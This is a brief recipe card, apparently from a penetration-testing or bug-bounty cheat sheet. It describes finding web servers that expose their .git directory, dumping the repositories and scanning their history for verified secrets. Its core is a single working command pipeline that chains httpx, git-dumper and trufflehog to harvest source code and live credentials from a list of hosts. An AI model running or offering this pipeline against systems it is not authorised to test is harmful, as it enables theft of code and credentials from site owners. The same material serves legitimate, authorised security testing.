Exposed .git → dump → secrets
Confirm /.git/HEAD, dump the repo, scan history with verification.
Level: intermediate
Tools: httpx, git-dumper, trufflehog, noseyparker
Pipeline
httpx -l live.txt -path '/.git/HEAD' -mc 200 -silent -o git-hosts.txt; git-dumper https://{host}/.git git-dump; trufflehog filesystem git-dump --only-verified